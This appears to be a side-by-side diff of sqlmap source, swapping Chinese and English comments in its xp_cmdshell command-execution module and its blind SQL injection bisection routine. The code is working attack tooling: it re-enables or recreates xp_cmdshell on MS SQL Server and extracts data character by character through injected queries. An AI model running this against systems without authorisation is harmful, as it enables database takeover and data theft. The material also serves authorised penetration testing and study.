# 将命令输出插入支持表'sqlmapoutput' # Insert the command standard output into a support table,
# 'sqlmapoutput', except when DBMS credentials are provided because
# it does not work unfortunately, BULK INSERT needs to be used to
# retrieve the output when OPENROWSET is used hence the redirection
# to a temporary file from above
if insertIntoTable and not conf.dbmsCred: if insertIntoTable and not conf.dbmsCred:
self._forgedCmd += "INSERT INTO %s(data) " % insertIntoTable self._forgedCmd += "INSERT INTO %s(data) " % insertIntoTable
@ -250,34 +186,11 @@ class XP_cmdshell(object):
return agent.runAsDBMSUser(self._forgedCmd) return agent.runAsDBMSUser(self._forgedCmd)
def xpCmdshellExecCmd(self, cmd, silent=False): def xpCmdshellExecCmd(self, cmd, silent=False):
"""
执行xp_cmdshell命令
参数:
cmd: 要执行的命令
silent: 是否静默执行,不显示输出
返回:
str: 命令执行结果
"""
return inject.goStacked(self.xpCmdshellForgeCmd(cmd), silent) return inject.goStacked(self.xpCmdshellForgeCmd(cmd), silent)
def xpCmdshellEvalCmd(self, cmd, first=None, last=None): def xpCmdshellEvalCmd(self, cmd, first=None, last=None):
"""
评估并执行xp_cmdshell命令,处理输出结果
支持直接模式和通过表存储结果两种方式
参数:
cmd: 要执行的命令
first: 结果的起始位置
last: 结果的结束位置
返回:
str: 处理后的命令输出结果
"""
output = None output = None
# 直接模式执行
if conf.direct: if conf.direct:
output = self.xpCmdshellExecCmd(cmd) output = self.xpCmdshellExecCmd(cmd)
@ -292,21 +205,21 @@ class XP_cmdshell(object):
output = new_output output = new_output
else: else:
# 通过支持表执行命令
inject.goStacked(self.xpCmdshellForgeCmd(cmd, self.cmdTblName)) inject.goStacked(self.xpCmdshellForgeCmd(cmd, self.cmdTblName))
# 处理DBMS凭据情况下的命令输出 # When user provides DBMS credentials (with --dbms-cred), the
# command standard output is redirected to a temporary file
# The file needs to be copied to the support table,
# 'sqlmapoutput'
if conf.dbmsCred: if conf.dbmsCred:
inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.cmdTblName, self.tmpFile, randomStr(10), randomStr(10))) inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.cmdTblName, self.tmpFile, randomStr(10), randomStr(10)))
self.delRemoteFile(self.tmpFile) self.delRemoteFile(self.tmpFile)
query = "SELECT %s FROM %s ORDER BY id" % (self.tblField, self.cmdTblName) query = "SELECT %s FROM %s ORDER BY id" % (self.tblField, self.cmdTblName)
# 使用不同的技术获取输出
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
output = inject.getValue(query, resumeValue=False, blind=False, time=False) output = inject.getValue(query, resumeValue=False, blind=False, time=False)
# 如果没有输出,尝试分批获取
if (output is None) or len(output) == 0 or output[0] is None: if (output is None) or len(output) == 0 or output[0] is None:
output = [] output = []
count = inject.getValue("SELECT COUNT(id) FROM %s" % self.cmdTblName, resumeValue=False, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) count = inject.getValue("SELECT COUNT(id) FROM %s" % self.cmdTblName, resumeValue=False, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
@ -316,10 +229,8 @@ class XP_cmdshell(object):
query = agent.limitQuery(index, query, self.tblField) query = agent.limitQuery(index, query, self.tblField)
output.append(inject.getValue(query, union=False, error=False, resumeValue=False)) output.append(inject.getValue(query, union=False, error=False, resumeValue=False))
# 清理支持表
inject.goStacked("DELETE FROM %s" % self.cmdTblName) inject.goStacked("DELETE FROM %s" % self.cmdTblName)
# 处理输出格式
if output and isListLike(output) and len(output) > 1: if output and isListLike(output) and len(output) > 1:
_ = "" _ = ""
lines = [line for line in flattenValue(output) if line is not None] lines = [line for line in flattenValue(output) if line is not None]
@ -335,59 +246,57 @@ class XP_cmdshell(object):
return output return output
def xpCmdshellInit(self): def xpCmdshellInit(self):
"""
初始化xp_cmdshell功能
主要步骤:
1. 检查xp_cmdshell是否可用
2. 如果不可用,尝试启用或创建新的xp_cmdshell
3. 创建支持表用于存储命令输出
4. 测试xp_cmdshell功能
"""
if not kb.xpCmdshellAvailable: if not kb.xpCmdshellAvailable:
infoMsg = "检查xp_cmdshell扩展存储过程是否可用,请稍候.." infoMsg = "checking if xp_cmdshell extended procedure is "
infoMsg += "available, please wait.."
logger.info(infoMsg) logger.info(infoMsg)
result = self._xpCmdshellCheck() result = self._xpCmdshellCheck()
if result: if result:
logger.info("xp_cmdshell扩展存储过程可用") logger.info("xp_cmdshell extended procedure is available")
kb.xpCmdshellAvailable = True kb.xpCmdshellAvailable = True
else: else:
message = "xp_cmdshell扩展存储过程似乎不可用。" message = "xp_cmdshell extended procedure does not seem to "
message += "是否要让sqlmap尝试重新启用它? [Y/n] " message += "be available. Do you want sqlmap to try to "
message += "re-enable it? [Y/n] "
if readInput(message, default='Y', boolean=True): if readInput(message, default='Y', boolean=True):
self._xpCmdshellConfigure(1) self._xpCmdshellConfigure(1)
if self._xpCmdshellCheck(): if self._xpCmdshellCheck():
logger.info("xp_cmdshell成功重新启用") logger.info("xp_cmdshell re-enabled successfully")
kb.xpCmdshellAvailable = True kb.xpCmdshellAvailable = True
else: else:
logger.warning("xp_cmdshell重新启用失败") logger.warning("xp_cmdshell re-enabling failed")
logger.info("使用sp_OACreate创建xp_cmdshell") logger.info("creating xp_cmdshell with sp_OACreate")
self._xpCmdshellConfigure(0) self._xpCmdshellConfigure(0)
self._xpCmdshellCreate() self._xpCmdshellCreate()
if self._xpCmdshellCheck(): if self._xpCmdshellCheck():
logger.info("xp_cmdshell创建成功") logger.info("xp_cmdshell created successfully")
kb.xpCmdshellAvailable = True kb.xpCmdshellAvailable = True
else: else:
warnMsg = "xp_cmdshell创建失败," warnMsg = "xp_cmdshell creation failed, probably "
warnMsg += "可能是因为sp_OACreate被禁用" warnMsg += "because sp_OACreate is disabled"
logger.warning(warnMsg) logger.warning(warnMsg)
hashDBWrite(HASHDB_KEYS.KB_XP_CMDSHELL_AVAILABLE, kb.xpCmdshellAvailable) hashDBWrite(HASHDB_KEYS.KB_XP_CMDSHELL_AVAILABLE, kb.xpCmdshellAvailable)
if not kb.xpCmdshellAvailable: if not kb.xpCmdshellAvailable:
errMsg = "无法在没有xp_cmdshell的情况下继续" errMsg = "unable to proceed without xp_cmdshell"
raise SqlmapUnsupportedFeatureException(errMsg) raise SqlmapUnsupportedFeatureException(errMsg)
debugMsg = "创建支持表以写入命令标准输出" debugMsg = "creating a support table to write commands standard "
debugMsg += "output to"
logger.debug(debugMsg) logger.debug(debugMsg)
# 创建支持表,使用NVARCHAR(4000)而不是TEXT类型 # TEXT can't be used here because in error technique you get:
# 因为在错误技术中TEXT类型不能比较或排序 # "The text, ntext, and image data types cannot be compared or sorted"
self.createSupportTbl(self.cmdTblName, self.tblField, "NVARCHAR(4000)") self.createSupportTbl(self.cmdTblName, self.tblField, "NVARCHAR(4000)")
self._xpCmdshellTest() self._xpCmdshellTest()

@ -5,113 +5,92 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
# 导入必要的模块 from __future__ import division
from __future__ import division # 使用真除法,避免整数除法的问题
import re
import re # 正则表达式模块 import time
import time # 时间相关操作
from lib.core.agent import agent
# 导入sqlmap自定义模块 from lib.core.common import Backend
from lib.core.agent import agent # SQL语句构造和处理 from lib.core.common import calculateDeltaSeconds
from lib.core.common import Backend # 数据库后端相关 from lib.core.common import dataToStdout
from lib.core.common import calculateDeltaSeconds # 计算时间差 from lib.core.common import decodeDbmsHexValue
from lib.core.common import dataToStdout # 输出到标准输出 from lib.core.common import decodeIntToUnicode
from lib.core.common import decodeDbmsHexValue # 解码数据库十六进制值 from lib.core.common import filterControlChars
from lib.core.common import decodeIntToUnicode # 整数转Unicode字符 from lib.core.common import getCharset
from lib.core.common import filterControlChars # 过滤控制字符 from lib.core.common import getCounter
from lib.core.common import getCharset # 获取字符集 from lib.core.common import getPartRun
from lib.core.common import getCounter # 获取计数器 from lib.core.common import getTechnique
from lib.core.common import getPartRun # 获取部分运行信息 from lib.core.common import getTechniqueData
from lib.core.common import getTechnique # 获取注入技术 from lib.core.common import goGoodSamaritan
from lib.core.common import getTechniqueData # 获取注入技术数据 from lib.core.common import hashDBRetrieve
from lib.core.common import goGoodSamaritan # 智能预测功能 from lib.core.common import hashDBWrite
from lib.core.common import hashDBRetrieve # 从哈希数据库读取 from lib.core.common import incrementCounter
from lib.core.common import hashDBWrite # 写入哈希数据库 from lib.core.common import isDigit
from lib.core.common import incrementCounter # 增加计数器 from lib.core.common import isListLike
from lib.core.common import isDigit # 判断是否为数字 from lib.core.common import safeStringFormat
from lib.core.common import isListLike # 判断是否为列表类型 from lib.core.common import singleTimeWarnMessage
from lib.core.common import safeStringFormat # 安全的字符串格式化 from lib.core.data import conf
from lib.core.common import singleTimeWarnMessage # 单次警告消息 from lib.core.data import kb
from lib.core.data import conf # 配置信息 from lib.core.data import logger
from lib.core.data import kb # 知识库 from lib.core.data import queries
from lib.core.data import logger # 日志记录 from lib.core.enums import ADJUST_TIME_DELAY
from lib.core.data import queries # SQL查询语句 from lib.core.enums import CHARSET_TYPE
from lib.core.enums import ADJUST_TIME_DELAY # 时间延迟调整枚举 from lib.core.enums import DBMS
from lib.core.enums import CHARSET_TYPE # 字符集类型枚举 from lib.core.enums import PAYLOAD
from lib.core.enums import DBMS # 数据库类型枚举 from lib.core.exception import SqlmapThreadException
from lib.core.enums import PAYLOAD # Payload类型枚举 from lib.core.exception import SqlmapUnsupportedFeatureException
from lib.core.exception import SqlmapThreadException # 线程异常 from lib.core.settings import CHAR_INFERENCE_MARK
from lib.core.exception import SqlmapUnsupportedFeatureException # 不支持特性异常 from lib.core.settings import INFERENCE_BLANK_BREAK
from lib.core.settings import CHAR_INFERENCE_MARK # 字符推断标记 from lib.core.settings import INFERENCE_EQUALS_CHAR
from lib.core.settings import INFERENCE_BLANK_BREAK # 空白中断标记 from lib.core.settings import INFERENCE_GREATER_CHAR
from lib.core.settings import INFERENCE_EQUALS_CHAR # 等于字符标记 from lib.core.settings import INFERENCE_MARKER
from lib.core.settings import INFERENCE_GREATER_CHAR # 大于字符标记 from lib.core.settings import INFERENCE_NOT_EQUALS_CHAR
from lib.core.settings import INFERENCE_MARKER # 推断标记 from lib.core.settings import INFERENCE_UNKNOWN_CHAR
from lib.core.settings import INFERENCE_NOT_EQUALS_CHAR # 不等于字符标记 from lib.core.settings import MAX_BISECTION_LENGTH
from lib.core.settings import INFERENCE_UNKNOWN_CHAR # 未知字符标记 from lib.core.settings import MAX_REVALIDATION_STEPS
from lib.core.settings import MAX_BISECTION_LENGTH # 最大二分长度 from lib.core.settings import NULL
from lib.core.settings import MAX_REVALIDATION_STEPS # 最大重新验证步骤 from lib.core.settings import PARTIAL_HEX_VALUE_MARKER
from lib.core.settings import NULL # 空值 from lib.core.settings import PARTIAL_VALUE_MARKER
from lib.core.settings import PARTIAL_HEX_VALUE_MARKER # 部分十六进制值标记 from lib.core.settings import PAYLOAD_DELIMITER
from lib.core.settings import PARTIAL_VALUE_MARKER # 部分值标记 from lib.core.settings import RANDOM_INTEGER_MARKER
from lib.core.settings import PAYLOAD_DELIMITER # Payload分隔符 from lib.core.settings import VALID_TIME_CHARS_RUN_THRESHOLD
from lib.core.settings import RANDOM_INTEGER_MARKER # 随机整数标记 from lib.core.threads import getCurrentThreadData
from lib.core.settings import VALID_TIME_CHARS_RUN_THRESHOLD # 有效时间字符运行阈值 from lib.core.threads import runThreads
from lib.core.threads import getCurrentThreadData # 获取当前线程数据 from lib.core.unescaper import unescaper
from lib.core.threads import runThreads # 运行线程 from lib.request.connect import Connect as Request
from lib.core.unescaper import unescaper # 反转义处理 from lib.utils.progress import ProgressBar
from lib.request.connect import Connect as Request # HTTP请求处理 from lib.utils.safe2bin import safecharencode
from lib.utils.progress import ProgressBar # 进度条 from lib.utils.xrange import xrange
from lib.utils.safe2bin import safecharencode # 安全字符编码 from thirdparty import six
from lib.utils.xrange import xrange # 兼容Python2/3的range
from thirdparty import six # Python 2/3兼容库
def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False): def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False):
""" """
二分法算法,用于执行盲注SQL注入 Bisection algorithm that can be used to perform blind SQL injection
on an affected host
参数说明:
payload - SQL注入的payload模板
expression - 需要注入的SQL表达式
length - 查询结果的长度限制
charsetType - 字符集类型
firstChar - 起始字符位置
lastChar - 结束字符位置
dump - 是否导出数据
""" """
# 初始化变量 abortedFlag = False
abortedFlag = False # 中止标志 showEta = False
showEta = False # 是否显示进度条 partialValue = u""
partialValue = u"" # 部分结果值 finalValue = None
finalValue = None # 最终结果值 retrievedLength = 0
retrievedLength = 0 # 已获取的长度
# 检查payload是否为空
if payload is None: if payload is None:
return 0, None return 0, None
# 根据字符集类型获取ASCII表
if charsetType is None and conf.charset: if charsetType is None and conf.charset:
asciiTbl = sorted(set(ord(_) for _ in conf.charset)) asciiTbl = sorted(set(ord(_) for _ in conf.charset))
else: else:
asciiTbl = getCharset(charsetType) asciiTbl = getCharset(charsetType)
# 获取当前线程数据
threadData = getCurrentThreadData() threadData = getCurrentThreadData()
# 判断是否为基于时间的注入
timeBasedCompare = (getTechnique() in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) timeBasedCompare = (getTechnique() in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
# 从缓存中获取已有结果
retVal = hashDBRetrieve(expression, checkConf=True) retVal = hashDBRetrieve(expression, checkConf=True)
# 如果有缓存结果
if retVal: if retVal:
# 如果需要修复且结果中包含未知字符
if conf.repair and INFERENCE_UNKNOWN_CHAR in retVal: if conf.repair and INFERENCE_UNKNOWN_CHAR in retVal:
pass pass
# 如果结果中包含部分十六进制值标记
elif PARTIAL_HEX_VALUE_MARKER in retVal: elif PARTIAL_HEX_VALUE_MARKER in retVal:
retVal = retVal.replace(PARTIAL_HEX_VALUE_MARKER, "") retVal = retVal.replace(PARTIAL_HEX_VALUE_MARKER, "")
@ -119,7 +98,6 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
partialValue = retVal partialValue = retVal
infoMsg = "resuming partial value: %s" % safecharencode(partialValue) infoMsg = "resuming partial value: %s" % safecharencode(partialValue)
logger.info(infoMsg) logger.info(infoMsg)
# 如果结果中包含部分值标记
elif PARTIAL_VALUE_MARKER in retVal: elif PARTIAL_VALUE_MARKER in retVal:
retVal = retVal.replace(PARTIAL_VALUE_MARKER, "") retVal = retVal.replace(PARTIAL_VALUE_MARKER, "")
@ -127,15 +105,13 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
partialValue = retVal partialValue = retVal
infoMsg = "resuming partial value: %s" % safecharencode(partialValue) infoMsg = "resuming partial value: %s" % safecharencode(partialValue)
logger.info(infoMsg) logger.info(infoMsg)
# 其他情况直接使用缓存结果
else: else:
infoMsg = "resumed: %s" % safecharencode(retVal) infoMsg = "resumed: %s" % safecharencode(retVal)
logger.info(infoMsg) logger.info(infoMsg)
return 0, retVal return 0, retVal
# 针对不同数据库的特殊处理 if Backend.isDbms(DBMS.MCKOI):
if Backend.isDbms(DBMS.MCKOI): # McKoi数据库
match = re.search(r"\ASELECT\b(.+)\bFROM\b(.+)\Z", expression, re.I) match = re.search(r"\ASELECT\b(.+)\bFROM\b(.+)\Z", expression, re.I)
if match: if match:
original = queries[Backend.getIdentifiedDbms()].inference.query original = queries[Backend.getIdentifiedDbms()].inference.query
@ -143,7 +119,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
payload = payload.replace(right, "(SELECT %s FROM %s)" % (right, match.group(2).strip())) payload = payload.replace(right, "(SELECT %s FROM %s)" % (right, match.group(2).strip()))
expression = match.group(1).strip() expression = match.group(1).strip()
elif Backend.isDbms(DBMS.FRONTBASE): # FrontBase数据库 elif Backend.isDbms(DBMS.FRONTBASE):
match = re.search(r"\ASELECT\b(\s+TOP\s*\([^)]+\)\s+)?(.+)\bFROM\b(.+)\Z", expression, re.I) match = re.search(r"\ASELECT\b(\s+TOP\s*\([^)]+\)\s+)?(.+)\bFROM\b(.+)\Z", expression, re.I)
if match: if match:
payload = payload.replace(INFERENCE_GREATER_CHAR, " FROM %s)%s" % (match.group(3).strip(), INFERENCE_GREATER_CHAR)) payload = payload.replace(INFERENCE_GREATER_CHAR, " FROM %s)%s" % (match.group(3).strip(), INFERENCE_GREATER_CHAR))
@ -151,18 +127,17 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
expression = match.group(2).strip() expression = match.group(2).strip()
try: try:
# 设置kb.partRun用于"common prediction"特性或API调用 # Set kb.partRun in case "common prediction" feature (a.k.a. "good samaritan") is used or the engine is called from the API
if conf.predictOutput: # 如果启用了预测输出 if conf.predictOutput:
kb.partRun = getPartRun() kb.partRun = getPartRun()
elif conf.api: # 如果是API调用 elif conf.api:
kb.partRun = getPartRun(alias=False) kb.partRun = getPartRun(alias=False)
else: else:
kb.partRun = None kb.partRun = None
# 设置起始字符位置 if partialValue:
if partialValue: # 如果有部分值,从部分值长度开始
firstChar = len(partialValue) firstChar = len(partialValue)
elif re.search(r"(?i)(\b|CHAR_)(LENGTH|LEN|COUNT)\(", expression): # 如果是长度查询,从0开始 elif re.search(r"(?i)(\b|CHAR_)(LENGTH|LEN|COUNT)\(", expression):
firstChar = 0 firstChar = 0
elif conf.firstChar is not None and (isinstance(conf.firstChar, int) or (hasattr(conf.firstChar, "isdigit") and conf.firstChar.isdigit())): elif conf.firstChar is not None and (isinstance(conf.firstChar, int) or (hasattr(conf.firstChar, "isdigit") and conf.firstChar.isdigit())):
firstChar = int(conf.firstChar) - 1 firstChar = int(conf.firstChar) - 1
@ -173,8 +148,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
else: else:
firstChar = 0 firstChar = 0
# 设置结束字符位置 if re.search(r"(?i)(\b|CHAR_)(LENGTH|LEN|COUNT)\(", expression):
if re.search(r"(?i)(\b|CHAR_)(LENGTH|LEN|COUNT)\(", expression): # 如果是长度查询,结束位置为0
lastChar = 0 lastChar = 0
elif conf.lastChar is not None and (isinstance(conf.lastChar, int) or (hasattr(conf.lastChar, "isdigit") and conf.lastChar.isdigit())): elif conf.lastChar is not None and (isinstance(conf.lastChar, int) or (hasattr(conf.lastChar, "isdigit") and conf.lastChar.isdigit())):
lastChar = int(conf.lastChar) lastChar = int(conf.lastChar)
@ -183,7 +157,6 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
else: else:
lastChar = 0 lastChar = 0
# 处理数据库相关的字段转换
if Backend.getDbms(): if Backend.getDbms():
_, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression) _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
nulledCastedField = agent.nullAndCastField(fieldToCastStr) nulledCastedField = agent.nullAndCastField(fieldToCastStr)
@ -192,7 +165,6 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
else: else:
expressionUnescaped = unescaper.escape(expression) expressionUnescaped = unescaper.escape(expression)
# 处理长度参数
if isinstance(length, six.string_types) and isDigit(length) or isinstance(length, int): if isinstance(length, six.string_types) and isDigit(length) or isinstance(length, int):
length = int(length) length = int(length)
else: else:
@ -207,11 +179,9 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
if length and length > MAX_BISECTION_LENGTH: if length and length > MAX_BISECTION_LENGTH:
length = None length = None
# 是否显示进度条
showEta = conf.eta and isinstance(length, int) showEta = conf.eta and isinstance(length, int)
# 设置线程数 if kb.bruteMode:
if kb.bruteMode: # 暴力模式只用1个线程
numThreads = 1 numThreads = 1
else: else:
numThreads = min(conf.threads or 0, length or 0) or 1 numThreads = min(conf.threads or 0, length or 0) or 1
@ -219,7 +189,6 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
if showEta: if showEta:
progress = ProgressBar(maxValue=length) progress = ProgressBar(maxValue=length)
# 多线程处理
if numThreads > 1: if numThreads > 1:
if not timeBasedCompare or kb.forceThreads: if not timeBasedCompare or kb.forceThreads:
debugMsg = "starting %d thread%s" % (numThreads, ("s" if numThreads > 1 else "")) debugMsg = "starting %d thread%s" % (numThreads, ("s" if numThreads > 1 else ""))
@ -227,13 +196,11 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
else: else:
numThreads = 1 numThreads = 1
# 单线程模式提示
if conf.threads == 1 and not any((timeBasedCompare, conf.predictOutput)): if conf.threads == 1 and not any((timeBasedCompare, conf.predictOutput)):
warnMsg = "running in a single-thread mode. Please consider " warnMsg = "running in a single-thread mode. Please consider "
warnMsg += "usage of option '--threads' for faster data retrieval" warnMsg += "usage of option '--threads' for faster data retrieval"
singleTimeWarnMessage(warnMsg) singleTimeWarnMessage(warnMsg)
# 显示进度信息
if conf.verbose in (1, 2) and not any((showEta, conf.api, kb.bruteMode)): if conf.verbose in (1, 2) and not any((showEta, conf.api, kb.bruteMode)):
if isinstance(length, int) and numThreads > 1: if isinstance(length, int) and numThreads > 1:
dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * min(length, conf.progressWidth))) dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * min(length, conf.progressWidth)))
@ -242,12 +209,6 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X")) dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))
def tryHint(idx): def tryHint(idx):
"""
尝试使用提示值进行查询
参数:
idx - 当前字符位置
"""
with kb.locks.hint: with kb.locks.hint:
hintValue = kb.hintValue hintValue = kb.hintValue
@ -274,17 +235,15 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
def validateChar(idx, value): def validateChar(idx, value):
""" """
验证字符值是否正确 Used in inference - in time-based SQLi if original and retrieved value are not equal there will be a deliberate delay
参数:
idx - 字符位置
value - 字符值
""" """
validationPayload = re.sub(r"(%s.*?)%s(.*?%s)" % (PAYLOAD_DELIMITER, INFERENCE_GREATER_CHAR, PAYLOAD_DELIMITER), r"\g<1>%s\g<2>" % INFERENCE_NOT_EQUALS_CHAR, payload) validationPayload = re.sub(r"(%s.*?)%s(.*?%s)" % (PAYLOAD_DELIMITER, INFERENCE_GREATER_CHAR, PAYLOAD_DELIMITER), r"\g<1>%s\g<2>" % INFERENCE_NOT_EQUALS_CHAR, payload)
if "'%s'" % CHAR_INFERENCE_MARK not in payload: if "'%s'" % CHAR_INFERENCE_MARK not in payload:
forgedPayload = safeStringFormat(validationPayload, (expressionUnescaped, idx, value)) forgedPayload = safeStringFormat(validationPayload, (expressionUnescaped, idx, value))
else: else:
# e.g.: ... > '%c' -> ... > ORD(..)
markingValue = "'%s'" % CHAR_INFERENCE_MARK markingValue = "'%s'" % CHAR_INFERENCE_MARK
unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(value)) unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(value))
forgedPayload = safeStringFormat(validationPayload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue) forgedPayload = safeStringFormat(validationPayload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue)
@ -303,16 +262,10 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None): def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None):
""" """
获取指定位置的字符 continuousOrder means that distance between each two neighbour's
numerical values is exactly 1
参数:
idx - 字符位置
charTbl - 字符表
continuousOrder - 是否连续顺序
expand - 是否扩展字符集
shiftTable - 位移表
retried - 重试次数
""" """
result = tryHint(idx) result = tryHint(idx)
if result: if result:
@ -326,6 +279,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
if kb.disableShiftTable: if kb.disableShiftTable:
shiftTable = None shiftTable = None
elif continuousOrder and shiftTable is None: elif continuousOrder and shiftTable is None:
# Used for gradual expanding into unicode charspace
shiftTable = [2, 2, 3, 3, 3] shiftTable = [2, 2, 3, 3, 3]
if "'%s'" % CHAR_INFERENCE_MARK in payload: if "'%s'" % CHAR_INFERENCE_MARK in payload:
@ -378,6 +332,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
elif not lastCheck and numThreads == 1: # not usable in multi-threading environment elif not lastCheck and numThreads == 1: # not usable in multi-threading environment
if charTbl[(len(charTbl) >> 1)] < ord(' '): if charTbl[(len(charTbl) >> 1)] < ord(' '):
try: try:
# favorize last char check if current value inclines toward 0
position = charTbl.index(1) position = charTbl.index(1)
except ValueError: except ValueError:
pass pass
@ -394,6 +349,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue)) forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue))
falsePayload = safeStringFormat(payload, (expressionUnescaped, idx, RANDOM_INTEGER_MARKER)) falsePayload = safeStringFormat(payload, (expressionUnescaped, idx, RANDOM_INTEGER_MARKER))
else: else:
# e.g.: ... > '%c' -> ... > ORD(..)
markingValue = "'%s'" % CHAR_INFERENCE_MARK markingValue = "'%s'" % CHAR_INFERENCE_MARK
unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(posValue)) unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(posValue))
forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue) forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue)
@ -427,6 +383,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
if not isinstance(charTbl, xrange): if not isinstance(charTbl, xrange):
charTbl = charTbl[position:] charTbl = charTbl[position:]
else: else:
# xrange() - extended virtual charset used for memory/space optimization
charTbl = xrange(charTbl[position], charTbl[-1] + 1) charTbl = xrange(charTbl[position], charTbl[-1] + 1)
else: else:
maxValue = posValue maxValue = posValue
@ -440,7 +397,13 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
if maxValue == 1: if maxValue == 1:
return None return None
# Going beyond the original charset
elif minValue == maxChar: elif minValue == maxChar:
# If the original charTbl was [0,..,127] new one
# will be [128,..,(128 << 4) - 1] or from 128 to 2047
# and instead of making a HUGE list with all the
# elements we use a xrange, which is a virtual
# list
if expand and shiftTable: if expand and shiftTable:
charTbl = xrange(maxChar + 1, (maxChar + 1) << shiftTable.pop()) charTbl = xrange(maxChar + 1, (maxChar + 1) << shiftTable.pop())
originalTbl = xrange(charTbl) originalTbl = xrange(charTbl)
@ -529,17 +492,14 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
if result: if result:
return decodeIntToUnicode(candidates[0]) return decodeIntToUnicode(candidates[0])
# 多线程处理(--threads > 1) # Go multi-threading (--threads > 1)
if numThreads > 1 and isinstance(length, int) and length > 1: if numThreads > 1 and isinstance(length, int) and length > 1:
threadData.shared.value = [None] * length threadData.shared.value = [None] * length
threadData.shared.index = [firstChar] # 作为列表用于python嵌套函数作用域 threadData.shared.index = [firstChar] # As list for python nested function scoping
threadData.shared.start = firstChar threadData.shared.start = firstChar
try: try:
def blindThread(): def blindThread():
"""
盲注线程函数
"""
threadData = getCurrentThreadData() threadData = getCurrentThreadData()
while kb.threadContinue: while kb.threadContinue:
@ -557,7 +517,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
else: else:
break break
# 注意: https://github.com/sqlmapproject/sqlmap/issues/4629 # NOTE: https://github.com/sqlmapproject/sqlmap/issues/4629
if not isListLike(threadData.shared.value): if not isListLike(threadData.shared.value):
break break
@ -614,7 +574,8 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
infoMsg = None infoMsg = None
# 如果有一个字符没有正确获取,可能意味着与目标URL的连接丢失 # If we have got one single character not correctly fetched it
# can mean that the connection to the target URL was lost
if None in value: if None in value:
partialValue = "".join(value[:value.index(None)]) partialValue = "".join(value[:value.index(None)])
@ -627,7 +588,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
if conf.verbose in (1, 2) and infoMsg and not any((showEta, conf.api, kb.bruteMode)): if conf.verbose in (1, 2) and infoMsg and not any((showEta, conf.api, kb.bruteMode)):
dataToStdout(infoMsg) dataToStdout(infoMsg)
# 单线程处理(--threads = 1) # No multi-threading (--threads = 1)
else: else:
index = firstChar index = firstChar
threadData.shared.value = "" threadData.shared.value = ""
@ -635,15 +596,17 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
while True: while True:
index += 1 index += 1
# 常见预测功能(又名"good samaritan") # Common prediction feature (a.k.a. "good samaritan")
# 注意:目前仅在未设置多线程时使用 # NOTE: to be used only when multi-threading is not set for
# the moment
if conf.predictOutput and len(partialValue) > 0 and kb.partRun is not None: if conf.predictOutput and len(partialValue) > 0 and kb.partRun is not None:
val = None val = None
commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan(partialValue, asciiTbl) commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan(partialValue, asciiTbl)
